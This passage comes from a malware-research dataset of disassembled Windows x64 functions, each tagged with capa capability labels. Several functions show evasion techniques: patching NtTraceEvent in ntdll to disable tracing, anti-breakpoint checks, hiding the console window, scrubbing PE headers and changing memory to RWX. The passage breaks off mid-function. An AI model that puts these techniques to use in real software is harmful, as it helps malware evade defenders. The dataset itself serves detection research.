joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fb4c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0xd0
lea rdi, [rsp + 0x20]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14072f480]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400fb506
jmp 0x1400fb680
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov ecx, 8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], 0
jmp 0x1400fb573
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x68]
add rax, 0x28
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x70], eax
jae 0x1400fb61c
lea r9, [rsp + 0x84]
mov r8d, 0x40
mov edx, 0x28
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0xff
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x68]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x68]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x68]
mov dword [rax + 0xc], 0
mov rax, qword [rsp + 0x68]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x68]
mov dword [rax + 8], 0
lea r9, [rsp + 0x84]
mov r8d, dword [rsp + 0x84]
mov edx, 0x28
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
jmp 0x1400fb55b
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea r9, [rsp + 0xa4]
mov r8d, 0x40
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0xa4]
mov r8d, dword [rsp + 0xa4]
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov rcx, rsp
lea rdx, [0x140538360]
call fcn.14011f758
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14011fa20
add rsp, 0xd0
pop rdi
ret
Function at 0x140100660
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
push rdi
movsx eax, byte [rsp + 0x18]
mov ecx, dword [rsp + 0x10]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
pop rdi
ret
Function at 0x140102b40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x140102b7a
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140102c69
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x50], 0
jle 0x140102c11
cmp qword [rsp + 0x28], 0
jle 0x140102c11
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x50], rax
jge 0x140102bba
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.14002ce00
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x140102c59
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x140102c59
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
add rsp, 0x30
pop rdi
ret
Function at 0x140119b00
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x140119b37
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x140119b20
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x140119c28
sub rcx, r10
cmp r9, 8
jb 0x140119c09
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
orps xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp r11, rax
jb 0x140119b90
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x140119c28
add r10, r11
sub r9, r11
nop
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x140119c10
test r8d, r8d
sete al
ret
Function at 0x140119c30
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x140119dd4
cmp r9, 4
jb 0x140119c7a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x140119c60
xor r11d, r11d
test r9, r9
je 0x140119dd4
cmp r9, 8
jb 0x140119dad
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x140119cac
cmp rdx, r8
jae 0x140119dad
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x140119cc1
cmp rdx, r10
jae 0x140119dad
mov qword [rsp + 0x10], rbx
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x140119d67
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x140119d00
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x140119d9f
mov rdx, r9
and rdx, 0xfffffffffffffff8
mov rbx, r10
lea rax, [r11 + r8]
sub rbx, r8
mov rdi, rcx
sub rdi, r8
nop
movq xmm1, qword [rax + rbx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rdx
jb 0x140119d80
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x140119dd4
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop word [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x140119dc0
add rsp, 8
ret
Function at 0x14011f0e8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, [0x14056b3c0]
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14011f122
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14011f127
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14011f170
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14056b2c0]
cmp byte [rcx + rax], 0
je 0x14011f170
dec r8
sub rdx, 1
jne 0x14011f156
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140120674
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401206be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401206be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401206be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401206be
cmp dword [rcx + 0x84], 0xe
jbe 0x1401206be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401206c0
xor al, al
add rsp, 0x28
ret
Function at 0x140720790
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140720917
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407207c1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407207a7
add dl, dl
jne 0x1407207ce
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14072082e
xor eax, eax
add dl, dl
jne 0x1407207dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407208e5
add dl, dl
jne 0x1407207ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407207fb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140720808
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140720815
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140720822
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407207b6
mov eax, 1
add dl, dl
jne 0x14072083e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14072084b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140720833
sub eax, ebx
mov ebx, 1
jne 0x140720884
mov ecx, 1
add dl, dl
jne 0x140720866
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140720873
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14072085b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407207b6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407208a0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407208ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140720895
cmp eax, 0x7d00
jae 0x1407208d3
cmp eax, 0x500
jb 0x1407208ce
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407207b6
cmp eax, 0x7f
ja 0x1407208d6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407207b6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14072090a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407207b6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [rbp - 4]
mov r9, rax
mov r8d, 0x40
mov edx, 0x4074f
lea rcx, [0x14000d020]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140001575
mov eax, 0
jmp 0x14000157c
lea rax, [0x14000d020]
add rsp, 0x30
pop rbp
ret

Function at 0x140001683
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rbp - 5], al
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov dword [rbp - 4], 0
lea rdx, [rbp - 0x10]
lea rax, [rbp - 5]
mov rcx, rax
call fcn.1400015d0
movzx eax, byte [rbp - 5]
movzx eax, al
cmp eax, 0xff
je 0x14000171f
cmp eax, 0xff
jg 0x140001752
cmp eax, 0xeb
je 0x1400016ef
cmp eax, 0xeb
jg 0x140001752
cmp eax, 0xe9
je 0x1400016ff
cmp eax, 0xea
je 0x14000170f
jmp 0x140001752
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
jmp 0x140001752
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 5
mov dword [rbp - 4], eax
jmp 0x140001752
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 7
mov dword [rbp - 4], eax
jmp 0x140001752
mov rax, qword [rbp + 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x25
jne 0x140001742
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 6
mov dword [rbp - 4], eax
jmp 0x140001751
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
nop
nop
cmp dword [rbp - 4], 5
jne 0x14000176f
jmp 0x14000175e
add dword [rbp - 4], 1
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xcc
je 0x14000175a
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x140001c9c
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x18]
lea rdx, str..exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x140001d8a
lea rdx, [0x14004e005]
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140001d8d
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001d90
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov edx, dword [rbp - 0xc]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call fcn.1400019f0
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x140001d91
nop
jmp 0x140001d91
nop
jmp 0x140001d91
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140001d97
Capabilities:
Enumerate process modules

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 5
je 0x140001e4a
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x140001e4a
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.140001c9c
jmp 0x140001e33
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.140001c9c
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x140001e12
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x260
pop rbp
ret
Function at 0x140001e67
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x1c], 0xc3c03348
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x26], rax
mov word [rbp - 0x1e], 0x6c
lea rax, [rbp - 0x26]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
movabs rax, 0x456563617254744e
mov qword [rbp - 0x33], rax
mov dword [rbp - 0x2b], 0x746e6576
mov byte [rbp - 0x27], 0
lea rdx, [rbp - 0x33]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, [rbp - 0x1c]
mov edx, dword [rax]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov ecx, dword [rbp - 0x38]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x140001f51
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140002090
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtAcceptConnectPort
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0x1000
jle 0x140001fcd
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
cmp eax, 0xb8d18b4c
jne 0x140001fcd
call fcn.140001f33
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x1400022b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000cea0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000cea0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140002320
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400510c4]
mov r12, rcx
test ebx, ebx
jle 0x140002450
mov rax, qword [0x1400510c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000236c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400023f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140002350
mov rcx, r12
call fcn.140002cc0
mov rsi, rax
test rax, rax
je 0x140002472
mov rax, qword [0x1400510c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002df0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400510c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002457
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400023ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002400
add dword [0x1400510c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400510c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400023ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400022b0
nop dword [rax]
xor ebx, ebx
jmp 0x140002377
mov rax, qword [0x1400510c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400022b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400022b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002930
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140051120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140051100]
test rbx, rbx
je 0x140002984
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000297b
test r12, r12
je 0x14000297b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002960
lea rcx, [0x140051120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002cc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14004e5c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002ce0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002ce8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002ce0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002d35
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002d2c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002ce0
add rax, 0x28
cmp rax, r9
jne 0x140002d18
xor eax, eax
ret

Function at 0x140002d40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14004e5c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002d60
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002d68
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002d60
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002df0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14004e5c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002e10
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002e18
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1400045e0
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x14004e640]
mov rax, qword [rsi]
test rax, rax
je 0x140004670
cmp qword [rax + 0x30], 0
jne 0x140004690
lea rbx, [0x14004d7e8]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140004640
cmp qword [rax + 0x30], 0
jne 0x140004660
lea rdx, [0x14004d7e8]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x14000cf30
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.1400094e0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
